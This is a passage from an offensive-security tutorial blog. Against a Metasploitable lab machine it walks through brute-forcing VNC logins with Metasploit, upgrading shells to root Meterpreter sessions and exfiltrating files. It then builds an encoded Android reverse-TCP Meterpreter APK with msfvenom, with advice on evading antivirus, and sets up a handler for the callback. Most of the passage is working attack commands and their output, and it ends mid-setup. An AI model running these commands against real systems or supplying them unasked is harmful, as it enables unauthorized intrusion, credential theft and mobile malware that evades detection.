  </span><span style="color: #FFD670" class="stk-highlight">PASS_FILE         /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">  no        File containing passwords, one per line
  Proxies                                                                             no        A proxy chain of format type:host:port&#091;,type:host:port]&#091;...]
  </span><span style="color: #FFD670;" class="stk-highlight">RHOSTS</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                                              yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
  </span><span style="color: #FFD670;" class="stk-highlight">RPORT             5900</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                              yes       The target port (TCP)
  </span><span style="color: #FFD670;" class="stk-highlight">STOP_ON_SUCCESS   false</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                             yes       Stop guessing when a credential works for a host
  </span><span style="color: #FFD670;" class="stk-highlight">THREADS           1</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                                 yes       The number of concurrent threads (max one per host)
  USERNAME          &lt;BLANK&gt;                                                           no        A specific username to authenticate as
  USERPASS_FILE                                                                       no        File containing users and passwords separated by space, one pair per line
  </span><span style="color: #FFD670;" class="stk-highlight">USER_AS_PASS      false</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                             no        Try the username as the password for all users
  USER_FILE                                                                           no        File containing usernames, one per line
  </span><span style="color: #FFD670;" class="stk-highlight">VERBOSE           true</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                              yes       Whether to print output for all attempts</span> 
Description:
  <span style="color: #3F84E5;" class="stk-highlight">This module will test a VNC server on a range of machines and report 
  successful logins. Currently it supports RFB protocol version 3.3, 
  3.7, 3.8 and 4.001 using the VNC challenge response authentication 
  method.</span>

References:
  https:&#47;&#47;nvd.nist.gov/vuln/detail/CVE-1999-0506</code></pre>



<p>We can see the options this module will take. The description is also there. From the description, it becomes clear that this is a module that will try brute-forcing. Another conspicuous fact is that this module supports <span style="color: #ffd670;" class="stk-highlight">RFB protocol version 3.3</span>, which is <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">written in our discovered VNC service (protocol 3.3)</span>. If you’re wondering why this is related – VNC service uses RFB protocol. So this module is compatible with the VNC service in our victim machine. Let’s move forward with this. </p>



<p>We’ve already seen the options this module will take from the “info” command. The options marked in yellow are the important ones. Not all of them are required though. We can see the default password file (<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">PASS_FILE</span>) for the brute force will be (<span style="color: #ffd670;" class="stk-highlight">/usr/share/Metasploit-framework/data/wordlists/vnc_passwords.txt</span>). We’ll not be changing this file. You might want to change this one if you’re doing real world tests that are not Metasploitable. We have to define <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>. Let’s turn on <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">STOP_ON_SUCCESS</span> as well, which will stop the attack once the correct credentials are found. We’ll also increase the <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">THREADS</span> for faster operation, and set <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">USER_AS_PASS</span> to <span style="color: #ffd670;" class="stk-highlight">true</span>, which will use the same username and password as well. Let’s set these up: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; set RHOSTS 192.168.74.129
RHOSTS =&gt; 192.168.74.129
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; set STOP_ON_SUCCESS true
STOP_ON_SUCCESS =&gt; true
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; set THREADS 32
THREADS =&gt; 32
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; set USER_AS_PASS true
USER_AS_PASS =&gt; true</code></pre>



<p>Now you can start running the brute force: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; run

&#091;*] 192.168.74.129:5900   - 192.168.74.129:5900 - Starting VNC login sweep
&#091;!] 192.168.74.129:5900   - No active DB -- Credential data will not be saved!
&#091;-] 192.168.74.129:5900   - 192.168.74.129:5900 - LOGIN FAILED: :&lt;BLANK&gt; (Incorrect: Authentication failed)
&#091;+] 192.168.74.129:5900   - 192.168.74.129:5900 - <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Login Successful</span>: :<span style="color: #A23B72;" class="stk-highlight">password
</span>
&#091;*] Scanned 1 of 1 hosts (100% complete)
&#091;*] Auxiliary module execution completed
</code></pre>



<p>The brute force attempt was successful. We can see the <code>username:password</code> pair as well. There is no username set up here, and the password is just <code>password</code>. In real systems, most of the time the password will not be this simple. However, now you know how you can brute force the VNC authentication. </p>



<p>Now let’s try to login to the VNC with our cracked credentials. I’ll use the <code>vncviewer</code> command followed by the IP address of the victim machine: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; vncviewer 192.168.74.129
&#091;*] exec: vncviewer 192.168.74.129

Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
</code></pre>



<p>At this point, you’ll have to provide the password. Type in <code>password</code> and you’ll get in: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; vncviewer 192.168.74.129
&#091;*] exec: vncviewer 192.168.74.129</code></pre>



<pre class="wp-block-code"><code>Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password: 
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Authentication successful</span>
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
</code></pre>



<p>Do you want to see the GUI version of the Metasploitable that we cracked just now? Here’s the view from the TightVNC application. </p>



<figure class="wp-block-image"><img loading="lazy" decoding="async" width="1919" height="985" src="https://nooblinux.com/wp-content/uploads/2022/02/word-image-1.png" alt="" class="wp-image-3539" srcset="https://nooblinux.com/wp-content/uploads/2022/02/word-image-1.png 1919w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1-300x154.png 300w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1-1024x526.png 1024w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1-768x394.png 768w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1-1536x788.png 1536w" sizes="auto, (max-width: 1919px) 100vw, 1919px" /></figure>



<p>This is beautiful. Now you can pretty much do anything you desire. Now that we’ve shown you 3 ways you can exploit the Metasploitable with the Metasploit Framework, it’s time to show you the things you might have to do once you’ve gained access. </p>



<h2 id="post-exploitation-tasks-with-metasploit-meterpreter" class="wp-block-heading"><a id="post-3536-_heading=h.vx1227"></a>Post Exploitation tasks with Metasploit &amp; Meterpreter</h2>



<p>One of the tasks you might do after exploiting is keeping the session in the background while you work on the Metasploit Framework. We’ve already shown you how to do that in the previous section. However, if you exit from the session then that opened session will be gone. </p>



<p>You will need to exploit the machine once again to get another session. The same thing will happen if the victim chooses to reboot the machine. In this section, we’ll show you how to keep your access even if the victim reboots his/her machine.  </p>



<p>One of the most useful tools after exploiting a target is the Meterpreter shell. It has many custom functionalities built into it that you don’t need to make a program or install any software to do. </p>



<h3 id="what-is-meterpreter" class="wp-block-heading"><a id="post-3536-_heading=h.3fwokq0"></a>What is Meterpreter?</h3>



<p>Meterpreter is a&nbsp;Metasploit payload&nbsp;that gives an interactive shell that&nbsp;attackers may use&nbsp;and execute code on&nbsp;the victim system. It uses&nbsp;in-memory DLL injection to deploy. This allows Meterpreter to be fully deployed in the&nbsp;memory and it&nbsp;does not write anything to the disk. There are no new processes&nbsp;as Meterpreter gets&nbsp;injected&nbsp;into the affected process. It may also&nbsp;move to other operating processes. The forensic footprint of Meterpreter&nbsp;is therefore very small. </p>



<h3 id="upgrade-to-a-meterpreter-from-shell" class="wp-block-heading"><a id="post-3536-_heading=h.1v1yuxt"></a>Upgrade to a meterpreter from shell</h3>



<p>Meterpreter is an advanced payload for Metasploit that offers lots of functions after exploiting a system. But if you noticed, we didn’t get any meterpreter sessions from the exploits. </p>



<p>In fact, the exploits did not have an option to set meterpreter as a payload. Let’s learn how to upgrade to meterpreter from a shell. Let’s see the sessions we have at first using the <code>sessions</code> command: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; sessions</code></pre>



<pre class="wp-block-code"><code>Active sessions
===============

  Id  Name  Type            Information  Connection
  ‐‐  ‐‐‐‐  ‐‐‐‐            ‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐
  2         shell cmd/unix               0.0.0.0:0 -&gt; 192.168.74.129:6200 (192.168.74.129)
  4         shell cmd/unix               192.168.74.128:4444 -&gt; 192.168.74.129:33209 (192.168.74.129)</code></pre>



<p>As you can see, we have two sessions now with id 2 and 4. Both of these sessions are of unix cmd shell type. Now let’s try to upgrade to meterpreter. For this purpose, we’ll be using the <code>shell to meterpreter</code> exploit: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; search shell to meterpreter upgrade</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   ‐  ‐‐‐‐                                          ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">0  post/multi/manage/shell_to_meterpreter</span>                         normal     No     Shell to Meterpreter Upgrade
   1  exploit/windows/local/powershell_cmd_upgrade  1999-01-01       excellent  No     Windows Command Shell Upgrade (Powershell)


Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/local/powershell_cmd_upgrade
</code></pre>



<p>Let’s use the first one: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; use 0
msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.
</code></pre>



<p>Now we have to specify the options. Remember the IDs of the sessions? Let’s try to upgrade the session ID 4: </p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; set SESSION 4
SESSION =&gt; 4
</code></pre>



<p>Now exploit:</p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; exploit</code></pre>



<pre class="wp-block-code"><code>&#091;*] Upgrading session ID: 4
&#091;*] Starting exploit/multi/handler
&#091;*] Started reverse TCP handler on 192.168.74.128:4433 
&#091;*] Sending stage (984904 bytes) to 192.168.74.129
&#091;*] <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Meterpreter session 6 opened (192.168.74.128:4433</span> -&gt; 192.168.74.129:46735) at 2022-02-07 10:08:39 -0400
&#091;*] Command stager progress: 100.00% (773/773 bytes)
&#091;*] Post module execution completed
</code></pre>



<p>This exploit might not work properly the first time. Keep on trying again until it works. Now let’s look at the sessions again: </p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; sessions</code></pre>



<pre class="wp-block-code"><code>Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  2         shell cmd/unix                                                                                           0.0.0.0:0 -&gt; 192.168.74.129:6200 (192.168.74.129)
  4         shell cmd/unix                                                                                           192.168.74.128:4444 -&gt; 192.168.74.129:33209 (192.168.74.129)
  <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">6         meterpreter x86/linux</span>  root @ metasploitable (uid=0, gid=0, euid=0, egid=0) @ metasploitable.localdo...  192.168.74.128:4433 -&gt; 192.168.74.129:46735 (192.168.74.129)</code></pre>



<p>   There is also another option to upgrade your shell session to meterpreter using the <code>sessions</code> command: </p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; sessions -u 2</code></pre>



<pre class="wp-block-code"><code>&#091;*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): &#091;2]

&#091;*] Upgrading session ID: 2
&#091;*] Starting exploit/multi/handler
&#091;*] Started reverse TCP handler on 192.168.74.128:4433 
&#091;*] Sending stage (984904 bytes) to 192.168.74.129
&#091;*] Meterpreter session 3 opened (192.168.74.128:4433 -&gt; 192.168.74.129:46599) at 2021-06-29 10:55:16 -0400</code></pre>



<p>This is a much easier way. You can kill any sessions with the “sessions” command using the “-k” flag followed by the session ID.  You can interact with any of the sessions using the “-i” flag with the sessions command. Let’s open session 3 that we just got – </p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; sessions -i 3
&#091;*] Starting interaction with 3...
<span style="text-decoration: underline;">meterpreter</span> &gt;
</code></pre>



<p>As you can see, now we’re in meterpreter. There’s a lot a meterpreter console can do. You can type <code>help</code> to get a list of commands meterpreter supports. Let’s find out some of the functionalities that meterpreter can do. </p>



<h3 id="meterpreter-functionalities" class="wp-block-heading"><a id="post-3536-_heading=h.4f1mdlm"></a>Meterpreter functionalities</h3>



<p>Meterpreter gives you loads of options for you to explore. You can get the commands by typing in “help” in meterpreter console. You can navigate the victim machine using the basic navigational commands of Linux. You can also download or upload some files into the victim system. There is a search option to search the victim machine with your desired keywords: </p>



<p>You can search for a file with the <code>search</code> command with <code>-f</code> flag:</p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; search -f license.txt
Found 8 results...
    /var/www/tikiwiki-old/license.txt (24381 bytes)
    /var/www/twiki/license.txt (19440 bytes)
    /var/www/tikiwiki/license.txt (24381 bytes)
    /home/msfadmin/vulnerable/twiki20030201/twiki-source/license.txt (19440 bytes)
    /var/www/tikiwiki-old/lib/adodb/license.txt (26079 bytes)
    /var/www/tikiwiki-old/lib/htmlarea/license.txt (1545 bytes)
    /var/www/tikiwiki/lib/adodb/license.txt (26079 bytes)
    /var/www/tikiwiki/lib/htmlarea/license.txt (1545 bytes)
</code></pre>



<p>Downloding any file is super straightforward as well: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; download /var/www/tikiwiki-old/license.txt
&#091;*] Downloading: /var/www/tikiwiki-old/license.txt -&gt; /root/license.txt
&#091;*] Downloaded 23.81 KiB of 23.81 KiB (100.0%): /var/www/tikiwiki-old/license.txt -&gt; /root/license.txt
&#091;*] download   : /var/www/tikiwiki-old/license.txt -&gt; /root/license.txt
</code></pre>



<p>   You can enter the shell of the system anytime you like with the <code>shell</code> command: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; shell
Process 5502 created.
Channel 2 created.
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">whoami
</span>
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">root</span>
^C
Terminate channel 2? &#091;y/N]  y
</code></pre>



<p>Furthermore, there are some networking commands such as – <code>arp</code>, <code>ifconfig</code>, <code>netstat</code>, etc.  </p>



<p>You can list the process running in the victim machine with the <code>ps</code> command. There is an option to see the PID of the process that has hosted the meterpreter: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; getpid
Current pid: 5390
</code></pre>



<p>In Windows systems, you may be able to migrate your meterpreter onto another process using the <code>migrate</code> command. You could also get keystrokes by using the <code>keyscan_start</code> and <code>keyscan_dump</code> depending on the system. On our victim machine, these commands are not supported: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; keyscan_start
&#091;-] The "keyscan_start" command is not supported by this Meterpreter type (x86/linux)
</code></pre>



<p>You can always find out the capabilities from the <code>help</code> command. Always keep in mind, as long as you have the command execution abilities, you can just upload a script to the victim machine that will do the job for you. </p>



<h3 id="staying-persistently-on-the-exploited-machine" class="wp-block-heading"><a id="post-3536-_heading=h.2u6wntf"></a>Staying persistently on the exploited machine</h3>



<p>As we told you earlier, if the victim system reboots, you will lose your active sessions. You might need to exploit the system once again or start the whole procedure from the very beginning – which might not be possible. If your victim machine runs Windows, there is an option called <code>persistence</code> in Metasploit, which will keep your access persistent. To do it you’ll have to use: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; run persistence

&#091;!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
&#091;!] Example: run exploit/windows/local/persistence OPTION=value &#091;...]
&#091;-] x86/linux version of Meterpreter is not supported with this Script!
</code></pre>



<p>As you can see, this command does not work in our victim system. This is because it’s running on Linux. There is, however, an alternate option for keeping your access persistent on Linux machines as well. </p>



<p>For that purpose, you can use the <code>crontab</code> to do this. <strong>Cron</strong> is the task scheduler for Linux. If you’re not familiar with <code>cron</code> command in Linux, we suggest you follow an article that covers this topic in detail <a href="https://bytexd.com/how-to-schedule-cron-jobs-with-crontab/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">here<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.  </p>



<h1 id="create-custom-payloads-with-msfvenom" class="wp-block-heading"><a id="post-3536-_heading=h.19c6y18"></a>Create custom payloads with msfvenom</h1>



<p><code>msfvenom</code> is a tool that comes with the Metasploit Framework. </p>



<p>With this tool, you can create custom payloads tailored to specific targets and requirements. Furthermore, you can attach payloads with other files that make your payload less suspicious. You can also edit the codes of your payloads and change them to evade detection by the threat detection systems. You can see all the options available for <code>msfvenom</code> by typing in <code>msfvenom -h</code>. </p>



<h3 id="check-all-options-for-creating-your-payload" class="wp-block-heading"><a id="post-3536-_heading=h.jsr9h55ihhku"></a>Check all options for creating your payload</h3>



<p>To see all the options for creating the payload, you can list the modules by using the <code>-l</code> flag followed by the module type – which will be payload in our case. </p>



<pre class="wp-block-code prompt"><code>msfvenom -l payloads</code></pre>



<p>You’ll get a long list of payloads in the output. You can use <code>grep</code> command to narrow the result down to your liking. Let’s say I wanted to create payloads for Android. I’ll use the following to list the payloads: </p>



<pre class="wp-block-code prompt"><code>msfvenom -l payloads | grep android</code></pre>



<pre class="wp-block-code"><code>    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP
    android/meterpreter/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS
    android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager
    android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_https                   Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_tcp                     Connect back to the attacker and spawn a Meterpreter shell
    android/shell/reverse_http                          Spawn a piped command shell (sh). Tunnel communication over HTTP
    android/shell/reverse_https                         Spawn a piped command shell (sh). Tunnel communication over HTTPS
    android/shell/reverse_tcp                           Spawn a piped command shell (sh). Connect back stager
</code></pre>



<p>Now, imagine I wanted to use the marked payload (<code>android/meterpreter/reverse_tcp</code>). I will need to know what options I have to set. To see the options for the payload, you’ll have to use the <code>-p</code> flag to specify the payload and the <code>--list-options</code> flag as below: </p>



<pre class="wp-block-code prompt"><code>msfvenom -p android/meterpreter/reverse_tcp --list-options</code></pre>



<pre class="wp-block-code"><code>Options for payload/android/meterpreter/reverse_tcp:
=========================


       Name: Android Meterpreter, Android Reverse TCP Stager
     Module: payload/android/meterpreter/reverse_tcp
   Platform: Android
       Arch: dalvik
Needs Admin: No
 Total size: 10175
       Rank: Normal

Provided by:
    mihi
    egypt &lt;egypt@metasploit.com&gt;
    OJ Reeves

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Basic options</span>:
Name   Current Setting  Required  Description
‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
<span style="color: #3f84e5;" class="stk-highlight">LHOST</span>                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port

Description:
  Run a meterpreter server in Android. Connect back stager



<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Advanced options</span> for payload/android/meterpreter/reverse_tcp:
=========================

    Name                         Current Setting  Required  Description
    ----                         ---------------  --------  -----------
    AndroidHideAppIcon           false            no        Hide the application icon automatically after launch
    AndroidMeterpreterDebug      false            no        Run the payload in debug mode, with logging enabled
    AndroidWakelock              true             no        Acquire a wakelock before starting the payload
    AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
    AutoRunScript                                 no        A script to run automatically on session creation.
    AutoSystemInfo               true             yes       Automatically capture system information on initialization.
    AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
    AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
    EnableStageEncoding          false            no        Encode the second stage payload
    EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
    HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
    InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
    PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
    PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
    PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
    PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
    PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
    PingbackRetries              0                yes       How many additional successful pingbacks
    PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
    ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
    ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
    ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
    ReverseListenerComm                           no        The specific communication channel to use for this listener
    ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
    SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
    SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
    SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
    SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
    StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
    StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
    StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
    StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
    StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
    VERBOSE                      false            no        Enable detailed status messages
    WORKSPACE                                     no        Specify the workspace for this module

Evasion options for payload/android/meterpreter/reverse_tcp:
=========================

    Name  Current Setting  Required  Description
    ‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
</code></pre>



<p>There are loads of options for this exploit, as you can see. The options are divided into two categories. Basic options and Advanced options. You can create a payload just by setting up the basic options. However, advanced options are very important as well. They offer customization as well as play a crucial role to evade threat detection systems. </p>



<p>You can modify them and check how many anti-viruses detect it as a threat. Many online websites allow you to check your payloads. Keep in mind, however, that these systems might store your data and add them to the anti-virus database, rendering your payloads to be detected more often. </p>



<p><strong>VirusTotal</strong> is a website that allows you to upload a file and check for viruses. There are online virus checkers for almost all the anti-virus packages (<strong>avast</strong>, <strong>avg</strong>, <strong>eset</strong>, etc.).  At the end of this article, you’ll see me testing our payload on these websites. </p>



<h3 id="encoding-your-payload-to-evade-detection" class="wp-block-heading"><a id="post-3536-_heading=h.73c8luhs73og"></a>Encoding your payload to evade detection</h3>



<p>Before we create the payload, remember encoders? Encoders are the modules that encrypt the code so it becomes harder for the threat detection systems to detect it as a threat. Let’s see how to encode our payload. At first, list the encoder options available. I’ll use the ruby based encoders by grepping <code>ruby</code>: </p>



<pre class="wp-block-code prompt"><code>msfvenom -l encoders | grep ruby
    ruby/base64                   great      Ruby Base64 Encoder
</code></pre>



<p>Let’s set up the basic options and create a basic payload now: </p>



<pre class="wp-block-code prompt"><code>msfvenom -p android/meterpreter/reverse_tcp -e ruby/base64 LHOST=192.168.74.128 LPORT=8080 -o /root/Desktop/payload.apk</code></pre>



<pre class="wp-block-code"><code>
&#091;-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
&#091;-] No arch selected, selecting arch: dalvik from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of ruby/base64
ruby/base64 succeeded with size 13625 (iteration=0)
ruby/base64 chosen with final size 13625
Payload size: 13625 bytes
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Saved as: /root/Desktop/payload.apk</span>
</code></pre>



<p>Here, the LHOST is our IP address and LPORT is the port for the connection. You should change the default port to evade easy detection. Now, before we send this payload, we need to set up the handler for the incoming connection. <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Handler is just a program that will listen on a port for incoming connections, since the victim will connect to us</span>. To do that, we’ll fire up <code>msfconsole</code> and search <strong>multi/handler</strong>: </p>



<pre class="wp-block-code promptmsf6"><code>search multi/handler</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                                 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  exploit/linux/local/apt_package_manager_persistence  1999-03-09       excellent  No     APT Package Manager Persistence
   1  exploit/android/local/janus                          2017-07-31       manual     Yes    Android Janus APK Signature bypass
   2  auxiliary/scanner/http/apache_mod_cgi_bash_env       2014-09-24       normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
   3  exploit/linux/local/bash_profile_persistence         1989-06-08       normal     No     Bash Profile Persistence
   4  exploit/linux/local/desktop_privilege_escalation     2014-08-07       excellent  Yes    Desktop Linux Password Stealer and Privilege Escalation
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">5  exploit/multi/handler</span>                                                 <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">manual     No     Generic Payload Handler</span>
   6  exploit/windows/mssql/mssql_linkcrawler              2000-01-01       great      No     Microsoft SQL Server Database Link Crawling Command Execution
   7  exploit/windows/browser/persits_xupload_traversal    2009-09-29       excellent  No     Persits XUpload ActiveX MakeHttpRequest Directory Traversal
   8  exploit/linux/local/yum_package_manager_persistence  2003-12-17       excellent  No     Yum Package Manager Persistence


Interact with a module by name or index. For example info 8, use 8 or use exploit/linux/local/yum_package_manager_persistence
</code></pre>



<p>As you can see, number 5 is our manual and Generic Payload Handler. Use this one and we must set our payload matching to the one we just used (/android/meterpreter/reverse_tcp) – </p>



<pre class="wp-block-code promptmsf6"><code>use 5</code></pre>



<pre class="wp-block-code"><code>&#091;*] <span style="color: #ffd670;" class="stk-highlight">Using configured payload generic/shell_reverse_tcp</span></code></pre>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; set payload /android/meterpreter/reverse_tcp
payload =&gt; android/meterpreter/reverse_tcp
msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐


Payload options (android/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Wildcard Target
</code></pre>



<p>In the output, we can see that the default payload for exploit (multi/handler) was (<span style="color: #ffd670;" class="stk-highlight">generic/shell_reverse_tcp</span>). So we set the payload to our desired one (<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">android/meterpreter/reverse_tcp</span>). Now let’s set up the <code>LHOST</code> to 192.168.74.128 (attack machine’s IP) and LPORT to 8080 just like we did when we created the payload: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; set LHOST 192.168.74.128
LHOST =&gt; 192.168.74.128
msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; set LPORT 8080
